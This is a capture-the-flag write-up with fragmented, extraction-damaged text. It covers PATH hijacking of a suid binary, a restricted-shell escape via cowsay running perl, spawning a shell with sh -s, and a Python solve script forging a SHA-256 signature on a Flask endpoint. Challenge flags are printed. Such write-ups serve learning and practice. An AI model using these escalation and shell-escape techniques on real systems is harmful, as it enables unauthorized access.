Hack. Eat. Sleep. Repeat!!!
user:password
.C
source code and the compiled code belonging to user einstein
with suid permissions.cat
was not specified.cat
file in directory tmp
and set the path variable to /tmp
.I added a bash code to the malicious cat
to read the txt files in user
Einstein
’s directory.learn
binary and got the flag.Hero{th30ry_of_r3l4tiv3_p4th5}
/usr/local/rbin
.\
was blacklisted.In the binaries’ directories,I discovered a binary cowsay
.gtfobins
and found that cowsay
can run perl code in a file.I used vim to write the code in a file and ran it./etc/passwd
file.Hero{s0m3_s4cr3d_c0w}
#!/usr/bin/env python3
import os
import subprocess
print("Welcome to the free shell service!")
print("Your goal is to obtain a shell.")
command = ["/bin/sh",input("Choose param: "),os.urandom(32).hex(),os.urandom(32).hex(),os.urandom(32).hex()]
subprocess.run(command)
input()
and passes it as an option to binary /bin/sh
.This approach won’t allow attackers to end or close statements.Binary sh
perceives the value as an attempt to read a file if it is not an option as shown below.Another filter is that we cannot spawn an interactive shell with -i
because of the hex values created with os.urandom(32).hex
which will only trigger an error.sh
documentation for other options that will allow us spawn an interactive shell even if files are passed to it.Then, I spotted the -s
option which spawns a shell and read commands from standard input.Hero{533m5_11k3_y0u_f0und_7h3_c0223c7_p424m3732}
from flask import Flask, render_template, request, jsonify
import hashlib
import json
from os import getenv
from datetime import datetime
app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")
def compute_sha256(data):
sha256_hash = hashlib.sha256()
sha256_hash.update(data.encode("utf-8"))
return sha256_hash.hexdigest()
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
data = request.json
date_str = data.get("date")
received_signature = request.headers.get("X-Signature")
json_data = json.dumps(data)
expected_signature = compute_sha256(json_data)
if not received_signature == expected_signature:
return jsonify({"error": "Invalid signature"}), 400
if not date_str:
return jsonify({"error": "Date is missing"}), 400
try:
date_obj = datetime.strptime(date_str, "%d/%m/%Y")
if date_obj.year >= 2100:
return jsonify({"message": FLAG}), 200
return jsonify({"error": "Please come back later..."}), 400
except ValueError:
return jsonify({"error": "Invalid date format"}), 400
The main route to query is /api/routes
which takes in json data. The key date
and header X-SIgnature
is grabbed.In order to get the flag, the date value will passed to datetime.strptime
function with format %d/%m/%y
and the year is grabbed.The value of the year must the more than 2100
.Another consideration is that the json data must hashed with sha256
and passed to the X-Signature
header.To get the flag,our json data must be equal to our hash which is the signature.
I wrote a script to solve the challenge.
#! /usr/bin/env python3
from ten import *
from tenlib.transform import *
@entry
@arg("host","target host")
class Exploit:
def __init__(self,host: str):
self.host = host
#Hash the data with sha256
@staticmethod
def compute_sha256(data):
hash = hashing.sha256(data)
return hash
def run(self):
session = ScopedSession(self.host)
#A year more than or equal to 2100
date: str = "6/10/2100"
data = {"date":date}
headers = {"Content-Type":"application/json","X-Signature":Exploit.compute_sha256(json.encode(data))}
response = session.post("/api/prizes",headers=headers,data=json.encode(data)).text
print(json.decode(response)["message"])
if __name__ == "__main__":
Exploit()
Hero{PrYzes_4r3_4m4z1ng!!!9371497139}